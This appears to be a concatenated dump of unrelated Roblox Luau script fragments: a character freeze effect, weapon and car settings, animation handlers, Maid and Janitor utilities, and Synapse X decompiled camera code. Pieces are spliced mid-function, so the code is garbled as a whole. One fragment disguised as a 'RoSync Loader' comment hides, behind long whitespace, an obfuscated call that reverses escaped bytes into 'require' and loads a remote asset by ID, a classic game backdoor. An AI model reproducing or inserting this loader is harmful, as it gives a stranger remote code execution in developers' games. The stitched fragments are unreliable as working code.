Roblox/luau_corpus huggingface dataset:
--Made by Luckymaxer

Character = script.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Head = Character:FindFirstChild("Head")

Players = game:GetService("Players")
Debris = game:GetService("Debris")

Player = Players:GetPlayerFromCharacter(Character)

Duration = script:FindFirstChild("Duration")

BaseColor = BrickColor.new("Electric blue")
DarkProperties = {
	All = {
		--BrickColor = BaseColor,
		Material = Enum.Material.Ice,
		TextureId = "",
		Texture = "",
		VertexColor = Vector3.new(BaseColor.Color.r, BaseColor.Color.g, BaseColor.Color.b),
		--BaseTextureId = 0,
		--OverlayTextureId = 0,
		SparkleColor = BaseColor.Color,
		Color = BaseColor.Color,
		SecondaryColor = BaseColor.Color,
	},
	Class = {
		BasePart = {
			Reflectance = 1,
			Anchored = true,
		},
		ParticleEmitter = {
			Color = ColorSequence.new(BaseColor.Color, BaseColor.Color),
		},
		Sparkles = {
			Color = BaseColor.Color,
			SparkleColor = BaseColor.Color,
		},
		Decal = {
			Texture = "",
		},
	}
}

RemovedObjects = {}

function GetAllInstances(Parent)
	local Instances = {}
	local function GetInstances(Parent)
		for i, v in pairs(Parent:GetChildren()) do
			table.insert(Instances, v)
			GetInstances(v)
		end
	end
	GetInstances(Parent)
	return Instances
end

function Freeze()
	local FrozenInstances = GetAllInstances(Character)
	OriginalInstances = {}
	for i, v in pairs(FrozenInstances) do
		local NewInstance = {Object = v, Properties = {}}
		local PropertiesAltered = {}
		if v:IsA("BasePart") and v.Name == "HumanoidRootPart" then
		elseif v:IsA("CharacterMesh") then
			local Mesh = Instance.new("SpecialMesh")
			Mesh.MeshType = Enum.MeshType.FileMesh
			Mesh.MeshId = ("http://www.roblox.com/asset/?id=" .. v.MeshId)
			for ii, vv in pairs(Character:GetChildren()) do
				if vv:IsA("BasePart") and v.BodyPart.Name == string.gsub(vv.Name, " ", "") then
					Mesh.Parent = vv
					table.insert(RemovedObjects, {Object = v, NewObject = Mesh, Parent = v.Parent})
					v.Parent = nil
				end
			end
		elseif v:IsA("Decal") and v.Name == "face" then
		else
			for ii, vv in pairs(DarkProperties.All) do
				pcall(function()
					NewInstance.Properties[ii] = v[ii]
					PropertiesAltered[ii] = true
					v[ii] = vv
				end)
			end
			for ii, vv in pairs(DarkProperties.Class) do
				if v:IsA(ii) then
					for iii, vvv in pairs(vv) do
						--if not PropertiesAltered[iii] then
							pcall(function()
								NewInstance.Properties[iii] = v[iii]
								v[iii] = vvv
							end)
						--end
					end
				end
			end
		end
		table.insert(OriginalInstances, NewInstance)
	end
end

function Unfreeze()
	for i, v in pairs(RemovedObjects) do
		if v then
			if v.NewObject and v.NewObject.Parent then
				v.NewObject:Destroy()
			end
			v.Object.Parent = v.Parent
		end
	end
	for i, v in pairs(OriginalInstances) do
		if v.Object then
			for ii, vv in pairs(v.Properties) do
				pcall(function()
					v.Object[ii] = vv
				end)
			end
		end
	end
end

Freeze()
if Duration and Duration.Value >= 0 then
	wait(Duration.Value)
	Unfreeze()
end

script:Destroy()
--	RightShoulder.MaxVelocity = 0.125
--	LeftShoulder.MaxVelocity = 0.125
--	RightShoulder.DesiredAngle = math.pi
--	LeftShoulder.DesiredAngle = -math.pi
--	RightHip.DesiredAngle = 0
--	LeftHip.DesiredAngle = 0

	for _, motor in next, Limbs do
		if string.match(motor.Name, "Left") or string.match(motor.Name, "Front") or string.match(motor.Name, "Right") or string.match(motor.Name, "Back") then
			motor.DesiredAngle = 0
		end
	end

	for _, motor in next, Joints do
		motor.MaxVelocity = 0.125
		motor.DesiredAngle = -(math.pi * 0.5)
	end
end

function MoveFreeFall()
--Leonlai Fog Script. :D
wait(35)
game.Lighting.FogStart = 10 
game.Lighting.FogEnd = 120 
game.Lighting.FogColor = Color3.new(0, 0, 1)
game.Lighting.TimeOfDay = "00:00"
--// Tables
local L_97_ = {
	
	"285421759";
	"151130102";
	"151130171";
	"285421804";
	"287769483";
	"287769415";
	"285421687";
	"287769261";
	"287772525";
	"287772445";
	"287772351";
	"285421819";
	"287772163";
	
}

local L_98_ = {
	
	"2282590559";
	"2282583154";
	"2282584222";
	"2282584708";
	"2282585118";
	"2282586860";
	"2282587182";
	"2282587628";
	"2282588117";
	"2282588433";
	"2282576973";
	"2282577954";
	"2282578595";
	"2282579272";
	"2282579760";
	"2282580279";
	"2282580551";
	"2282580935";
	"2282582377";
	"2282582717";
	"2282449653";
		
}

local L_99_ = {
	
	"2297264589";
	"2297264920";
	"2297265171";
	"2297265394";
	"2297266410";
	"2297266774";
	"2297267106";
	"2297267463";
	"2297267748";
	"2297268261";
	"2297268486";
	"2297268707";
	"2297268894";
	"2297269092";
	"2297269542";
	"2297269946";
	"2297270243";
	"2297270591";
	"2297270984";
	"2297271381";
	"2297271626";
	"2297272112";
	"2297272424";
	
}

local L_100_ = workspace:FindFirstChild("BulletModel: " .. L_2_.Name) or Instance.new("Folder", workspace)
L_100_.Name = "BulletModel: " .. L_2_.Name

local L_101_

local L_102_ = L_24_.Ammo
local L_103_ = L_24_.StoredAmmo * L_24_.MagCount

local L_104_ = L_24_.ExplosiveAmmo

IgnoreList = {
	L_3_,
	L_100_,
	L_5_
}
-- MAIN --
local Sound = script.Parent.Parent.ButtonSound

script.Parent.MouseButton1Click:Connect(function()
	script.Parent.Parent.TestFrame.Visible = true
	script.Parent.Parent.TestFrame.BackButton.Visible = true
	script.Parent.Visible = false
	script.Parent.Parent.PlayButton = false
end)
	
script.Parent.MouseEnter:Connect(function()
	Sound:Play()
end)

script.Parent.MouseLeave:Connect(function()
	Sound.Playing = false	
end)
--// Recoil Settings	
	 camrecoil = 0.05; -- How much the camera flicks when not aiming
	AimGunRecoil = -0.3; -- How much the gun recoils backwards when aiming
	AimCamRecoil = 0.02; -- How much the camera flicks when aiming
	
	CamShake = 3; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING
	AimCamShake = 2; -- THIS IS ALSO NEW!!!!
	
	Kickback = 6; -- Upward gun rotation when not aiming
	AimKickback = 3; -- Upward gun rotation when aiming
--script.Parent.Player.Changed:connect(c3)
script.Parent.Parent.Changed:connect(c2)
game.Workspace.GameInProgress.Changed:connect(gameEnded)
--[[
	Package link auto-generated by Rotriever
]]
local PackageIndex = script.Parent.Parent._Index

local Package = require(PackageIndex["TestEZ"]["TestEZ"])

return Package
-- VARIABLES --
local Player = Players.LocalPlayer
local Character
local Humanoid
local HRP
local Tool = script.Parent

local attackRemote = Remotes:WaitForChild("Attack")
local Equipped = script:WaitForChild("Equipped")
--Tune
OverheatSpeed = .55 --How fast the car will overheat
CoolingEfficiency = .08 --How fast the car will cool down
RunningTemp = 60 --In degrees

Fan = true --Cooling fan
FanTemp = 110 --At what temperature the cooling fan will activate
FanTempAlpha = 130 --At what temperature the cooling fan will deactivate
FanSpeed = .08 --How fast the car will cool down
FanVolume = .5 --Sound volume

BlowupTemp = 130 --At what temperature the engine will blow up

GUI = true --GUI temperature gauge
--// Event Connections
L_107_.OnClientEvent:connect(function(L_311_arg1, L_312_arg2)
	if L_311_arg1 ~= L_2_ then
		local L_313_ = L_311_arg1.Character
		local L_314_ = L_313_.AnimBase.AnimBaseW
		local L_315_ = L_314_.C1
		if L_312_arg2 then
			L_119_(L_314_,  nil , L_313_.Head.CFrame, function(L_316_arg1)
				return math.sin(math.rad(L_316_arg1))
			end, 0.25)
		elseif not L_312_arg2 then
			L_119_(L_314_,  nil , L_315_, function(L_317_arg1)
				return math.sin(math.rad(L_317_arg1))
			end, 0.25)
		end
	end
end)
--------AUDIENCE BACK LEFT--------

game.Workspace.audiencebackleft1.Part1.BrickColor = BrickColor.new(1013)
game.Workspace.audiencebackleft1.Part2.BrickColor = BrickColor.new(1013)
game.Workspace.audiencebackleft1.Part3.BrickColor = BrickColor.new(1013)
game.Workspace.audiencebackleft1.Part4.BrickColor = BrickColor.new(1023)
game.Workspace.audiencebackleft1.Part5.BrickColor = BrickColor.new(1023)
game.Workspace.audiencebackleft1.Part6.BrickColor = BrickColor.new(1023)
game.Workspace.audiencebackleft1.Part7.BrickColor = BrickColor.new(106)
game.Workspace.audiencebackleft1.Part8.BrickColor = BrickColor.new(106)
game.Workspace.audiencebackleft1.Part9.BrickColor = BrickColor.new(106)
--- Add a task to clean up. Tasks given to a maid will be cleaned when
--  maid[index] is set to a different value.
-- @usage
-- Maid[key] = (function)         Adds a task to perform
-- Maid[key] = (event connection) Manages an event connection
-- Maid[key] = (Maid)             Maids can act as an event connection, allowing a Maid to have other maids to clean up.
-- Maid[key] = (Object)           Maids can cleanup objects with a `Destroy` method
-- Maid[key] = nil                Removes a named task. If the task is an event, it is disconnected. If it is an object,
--                                it is destroyed.
function Maid:__newindex(index, newTask)
	if Maid[index] ~= nil then
		error(("'%s' is reserved"):format(tostring(index)), 2)
	end

	local tasks = self._tasks
	local oldTask = tasks[index]

	if oldTask == newTask then
		return
	end

	tasks[index] = newTask

	if oldTask then
		if type(oldTask) == "function" then
			oldTask()
		elseif typeof(oldTask) == "RBXScriptConnection" then
			oldTask:Disconnect()
		elseif oldTask.Destroy then
			oldTask:Destroy()
		elseif oldTask.destroy then
			oldTask:destroy()
		end
	end
end
-- Decompiled with the Synapse X Luau decompiler.

local v1 = {
	Connected = true
};
v1.__index = v1;
function v1.Disconnect(p1)
	if p1.Connected then
		p1.Connected = false;
		p1.Connection:Disconnect();
	end;
end;
function v1._new(p2)
	return setmetatable({
		Connection = p2
	}, v1);
end;
function v1.__tostring(p3)
	return "RbxScriptConnection<" .. tostring(p3.Connected) .. ">";
end;
return v1;
--MoverL1 = script.Parent.LowToneSolenoid.MovingParts.Mover.PrismaticConstraint
--MoverL2 = script.Parent.HighToneSolenoid.MovingParts.Mover.PrismaticConstraint
A = .061
B = 1.6
C = 2
SolenoidSound1 = script.Parent.Housing.SolenoidSound1
SolenoidSound2 = script.Parent.Housing.SolenoidSound2
-- Preload animations
function playAnimation(animName: string, transitionTime: number, humanoid: Humanoid)
	local roll = Rand:NextInteger(1, animTable[animName].totalWeight)
	local idx = 1

	while roll > animTable[animName][idx].weight do
		roll = roll - animTable[animName][idx].weight
		idx = idx + 1
	end
	--		print(animName .. " " .. idx .. " [" .. origRoll .. "]")
	local anim = animTable[animName][idx].anim

	-- switch animation
	if anim ~= currentAnimInstance then
		if currentAnimTrack ~= nil then
			currentAnimTrack:Stop(transitionTime)
			currentAnimTrack:Destroy()
		end

		currentAnimSpeed = 1.0

		-- load it to the humanoid; get AnimationTrack
		currentAnimTrack = humanoid:LoadAnimation(anim)
		currentAnimTrack.Priority = Enum.AnimationPriority.Core

		-- play the animation
		currentAnimTrack:Play(transitionTime)
		currentAnim = animName
		currentAnimInstance = anim

		-- set up keyframe name triggers
		if currentAnimKeyframeHandler ~= nil then
			currentAnimKeyframeHandler:Disconnect()
		end
		currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:Connect(keyFrameReachedFunc)
	end
end
--Eww, theres some kind of weird brown bug on my screen, i would flick it away but i'm afraid i'd smash it and get weird bug juices all over my screen...

if string.sub(msg,1,5) == "part/" then
local danumber1 = nil
local danumber2 = nil
for i = 6,100 do
if string.sub(msg,i,i) == "/" then
danumber1 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber1 == nil then return end
for i =danumber1 + 1,danumber1 + 100 do
if string.sub(msg,i,i) == "/" then
danumber2 = i
break
elseif string.sub(msg,i,i) == "" then
break
end end
if danumber2 == nil then return end
if speaker.Character ~= nil then
local head = speaker.Character:FindFirstChild("Head")
if head ~= nil then
local part = Instance.new("Part")
part.Size = Vector3.new(string.sub(msg,6,danumber1 - 1),string.sub(msg,danumber1 + 1,danumber2 - 1),string.sub(msg,danumber2 + 1))
part.Position = head.Position + Vector3.new(0,part.Size.y / 2 + 5,0)
part.Name = "Person299's Admin Command Script V2 Part thingy"
part.Parent = game.Workspace
end end end
-- Initialize lighting tool
local LightingTool = require(CoreTools:WaitForChild 'Lighting')
Core.AssignHotkey('U', Core.Support.Call(Core.EquipTool, LightingTool));
Core.Dock.AddToolButton(Core.Assets.LightingIcon, 'U', LightingTool, 'LightingInfo');
-- METHODS
function IconController.setGameTheme(theme)
	IconController.gameTheme = theme
	local icons = IconController.getIcons()
	for _, icon in pairs(icons) do
		icon:setTheme(theme)
	end
end

function IconController.setDisplayOrder(value)
	value = tonumber(value) or TopbarPlusGui.DisplayOrder
	TopbarPlusGui.DisplayOrder = value
end
IconController.setDisplayOrder(10)

function IconController.getIcons()
	local allIcons = {}
	for otherIcon, _ in pairs(topbarIcons) do
		table.insert(allIcons, otherIcon)
	end
	return allIcons
end

function IconController.getIcon(name)
	for otherIcon, _ in pairs(topbarIcons) do
		if otherIcon.name == name then
			return otherIcon
		end
	end
	return false
end

function IconController.canShowIconOnTopbar(icon)
	if (icon.enabled == true or icon.accountForWhenDisabled) and icon.presentOnTopbar then
		return true
	end
	return false
end

function IconController.getMenuOffset(icon)
	local alignment = icon:get("alignment")
	local alignmentGap = IconController[alignment.."Gap"]
	local iconSize = icon:get("iconSize") or UDim2.new(0, 32, 0, 32)
	local sizeX = iconSize.X.Offset
	local iconWidthAndGap = (sizeX + alignmentGap)
	local extendLeft = 0
	local extendRight = 0
	local additionalRight = 0
	if icon.menuOpen then
		local menuSize = icon:get("menuSize")
		local menuSizeXOffset = menuSize.X.Offset
		local direction = icon:_getMenuDirection()
		if direction == "right" then
			extendRight += menuSizeXOffset + alignmentGap/6--2
		elseif direction == "left" then
			extendLeft = menuSizeXOffset + 4
			extendRight += alignmentGap/3--4
			additionalRight = menuSizeXOffset
		end
	end
	return extendLeft, extendRight, additionalRight
end
--print("Motion blur disabled")
script.Disabled = true
end

if UserSettings().GameSettings.SavedQualityLevel == Enum.SavedQualitySetting.QualityLevel1
or UserSettings().GameSettings.SavedQualityLevel == Enum.SavedQualitySetting.QualityLevel2
or UserSettings().GameSettings.SavedQualityLevel == Enum.SavedQualitySetting.QualityLevel3
or UserSettings().GameSettings.SavedQualityLevel == Enum.SavedQualitySetting.QualityLevel4
or UserSettings().GameSettings.SavedQualityLevel == Enum.SavedQualitySetting.QualityLevel5 then
--Variables
	local Hit = script.Parent.Parent.Humanoid:LoadAnimation(script.Parent.HitAnim)
	local Trace = script.Parent.Katana_Model.Trace
	local Effects = script.Parent.Effects
	local HitBox = script.Parent.Katana_Model.HitBox
	local CoolDown = script.Parent.Values.CoolDown
	local Activo = script.Parent.Values.Activo
---
if 	script.Parent.Parent.Parent.IsOn.Value then
	script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end

script.Parent.Parent.Parent.IsOn.Changed:connect(function()
	if script.Parent.Parent.Parent.IsOn.Value then
		script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
	end
end)
	
	script.Parent.MouseButton1Click:connect(function()
		if hinge.DesiredAngle == 0 then
			sound.SoundId = "rbxassetid://278329638"
			sound:Play()
			wait(.4)
			hinge.DesiredAngle = .35
		else
			hinge.DesiredAngle = 0
			sound.SoundId = "rbxassetid://278329638"
			sound:Play()
		end
	end)
--[=[
	@param class table | (...any) -> any
	@param ... any
	@return any
	Constructs a new object from either the
	table or function given.

	If a table is given, the table's `new`
	function will be called with the given
	arguments.

	If a function is given, the function will
	be called with the given arguments.
	
	The result from either of the two options
	will be added to the Janitor.

	```lua
	local Signal = require(somewhere.Signal)

	-- All of these are identical:
	local s = Janitor:Construct(Signal)
	local s = Janitor:Construct(Signal.new)
	local s = Janitor:Construct(function() return Signal.new() end)
	local s = Janitor:Add(Signal.new())

	-- Even Roblox instances can be created:
	local part = Janitor:Construct(Instance, "Part")
	```
]=]
function Janitor:Construct(class, ...)
	local object = nil
	local t = type(class)
	if t == "table" then
		object = class.new(...)
	elseif t == "function" then
		object = class(...)
	end
	return self:Add(object)
end
--- An expensive way to spawn a function. However, unlike spawn(), it executes on the same frame, and
-- unlike coroutines, does not obscure errors
-- @module fastSpawn

return function(func, ...)

	assert(type(func) == "function")

	local args = {...}
	local bindable = Instance.new("BindableEvent")
	bindable.Event:Connect(function()
		func(unpack(args))
	end)

	bindable:Fire()
	bindable:Destroy()

end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 10 -- cooldown for use of the tool again

ZoneModelName = "Death void" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Place in main folder
coding = script.Parent.Coding

aud = script.Parent.AudibleCircuit

wait(1)

if coding.Value == 0 then -- Continuous
aud.Value = 1
elseif coding.Value == 1 then -- Temporal
while true do
for i = 1, 3 do
aud.Value = 1
wait(0.5)
aud.Value = 0
wait(0.5)
end
wait(1)
end
elseif coding.Value == 2 then -- 120 March Time
while true do
aud.Value = 1
wait(0.25)
aud.Value = 0
wait(0.25)
end
elseif coding.Value == 3 then -- 60 March Time
while true do
aud.Value = 1
wait(0.5)
aud.Value = 0
wait(0.5)
end
elseif coding.Value == 4 then -- 20 March Time
while true do
aud.Value = 1
wait(1.5)
aud.Value = 0
wait(1.5)
end
end
-- Setup animation objects
function scriptChildModified(child)
local fileList = animNames[child.Name]
if (fileList ~= nil) then
configureAnimationSet(child.Name, fileList)
end
end

script.ChildAdded:Connect(scriptChildModified)
script.ChildRemoved:Connect(scriptChildModified)


for name, fileList in pairs(animNames) do 
configureAnimationSet(name, fileList)
end
--[[ Last synced 7/17/2021 08:03                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-- the Tool, reffered to here as "Block." Do not change it!
Block = script.Parent.Parent.Body -- You CAN change the name in the quotes "Example Tool"
--

function CharacterClone.new(character)
	local self = setmetatable({}, CharacterClone)
	
	self.Character = character
	self.Clone = character:Clone()

	self.Clone:WaitForChild("Humanoid").DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
	self.Lookup = self:GetLookup()
	
	return self
end
--		end
		return
	end
end

function move(time)
	local amplitude
	local frequency

	if (pose == "Jumping") then
		moveJump()
		return
	end

	if (pose == "FreeFall") then
		moveFreeFall()
		return
	end

	if (pose == "Climbing") then
		moveClimb()
		return
	end

	if (pose == "Seated") then
		moveSit()
		return
	end


	RightShoulder.MaxVelocity = 0.25
	LeftShoulder.MaxVelocity = 0.25
	if (pose == "Running") then
		amplitude = 1
		frequency = 9
	else
		amplitude = 0.1
		frequency = 1
	end

	desiredAngle = amplitude * math.sin(time*frequency)

	RightShoulder.DesiredAngle = desiredAngle
	LeftShoulder.DesiredAngle = desiredAngle
	RightHip.DesiredAngle = -desiredAngle
	LeftHip.DesiredAngle = -desiredAngle


	local tool = getTool()

	if tool ~= nil then
	
		animStringValueObject = getToolAnim(tool)

		if animStringValueObject ~= nil then
			toolAnim = animStringValueObject.Value
			-- message recieved, delete StringValue
			animStringValueObject.Parent = nil
			toolAnimTime = time + .3
		end

		if time > toolAnimTime then
			toolAnimTime = 0
			toolAnim = "None"
		end

		animateTool()

		
	else
		toolAnim = "None"
		toolAnimTime = 0
	end
end
-- Decompiled with the Synapse X Luau decompiler.

local v1 = require(script.Parent:WaitForChild("CameraUtils"));
local l__Players__2 = game:GetService("Players");
local v3, v4 = pcall(function()
	return UserSettings():IsUserFeatureEnabled("UserPortraitPopperFix");
end);
local v5 = require(script.Parent:WaitForChild("BaseOcclusion"));
local v6 = setmetatable({}, v5);
v6.__index = v6;
function v6.new()
	local v7 = setmetatable(v5.new(), v6);
	v7.camera = nil;
	v7.cameraSubjectChangeConn = nil;
	v7.subjectPart = nil;
	v7.playerCharacters = {};
	v7.vehicleParts = {};
	v7.lastPopAmount = 0;
	v7.lastZoomLevel = 0;
	v7.popperEnabled = false;
	return v7;
end;
function v6.GetOcclusionMode(p1)
	return Enum.DevCameraOcclusionMode.Zoom;
end;
function v6.Enable(p2, p3)

end;
function v6.CharacterAdded(p4, p5, p6)
	p4.playerCharacters[p6] = p5;
end;
function v6.CharacterRemoving(p7, p8, p9)
	p7.playerCharacters[p9] = nil;
end;
local u1 = v3 or v4;
function v6.Update(p10, p11, p12, p13)
	if not p10.popperEnabled then
		return p12, p13;
	end;
	p10.camera = game.Workspace.CurrentCamera;
	local v8 = p12;
	local v9 = p13.p;
	if u1 and p10.subjectPart then
		v9 = p10.subjectPart.CFrame.p;
	end;
	local v10 = {};
	for v11, v12 in pairs(p10.playerCharacters) do
		v10[#v10 + 1] = v12;
	end;
	for v13 = 1, #p10.vehicleParts do
		v10[#v10 + 1] = p10.vehicleParts[v13];
	end;
	local l__CFrame__14 = p10.camera.CFrame;
	p10.camera.CFrame = p12;
	p10.camera.Focus = p13;
	local l__Magnitude__15 = (p12.p - v9).Magnitude;
	if math.abs(l__Magnitude__15 - p10.lastZoomLevel) > 0.001 then
		p10.lastPopAmount = 0;
	end;
	local v16 = p10.camera:GetLargestCutoffDistance(v10);
	if v16 < p10.lastPopAmount then
		v16 = p10.lastPopAmount;
	end;
	if v16 > 0 then
		v8 = p12 + p12.lookVector * v16;
		p10.lastPopAmount = v16 - 0.3;
		if p10.lastPopAmount < 0 then
			p10.lastPopAmount = 0;
		end;
	end;
	p10.lastZoomLevel = l__Magnitude__15;
	return v8, p13;
end;
local u2 = { "Humanoid", "VehicleSeat", "SkateboardPlatform" };
function v6.OnCameraSubjectChanged(p14, p15)
	p14.vehicleParts = {};
	p14.lastPopAmount = 0;
	if p15 then
		p14.popperEnabled = false;
		for v17, v18 in pairs(u2) do
			if p15:IsA(v18) then
				p14.popperEnabled = true;
				break;
			end;
		end;
		if p15:IsA("VehicleSeat") then
			p14.vehicleParts = p15:GetConnectedParts(true);
		end;
		if u1 then
			if p15:IsA("BasePart") then
				p14.subjectPart = p15;
				return;
			end;
			if p15:IsA("Model") then
				if p15.PrimaryPart then
					p14.subjectPart = p15.PrimaryPart;
					return;
				else
					for v19, v20 in pairs(p15:GetChildren()) do
						if v20:IsA("BasePart") then
							p14.subjectPart = v20;
							return;
						end;
					end;
					return;
				end;
			elseif p15:IsA("Humanoid") then
				p14.subjectPart = p15.RootPart;
			end;
		end;
	end;
end;
return v6;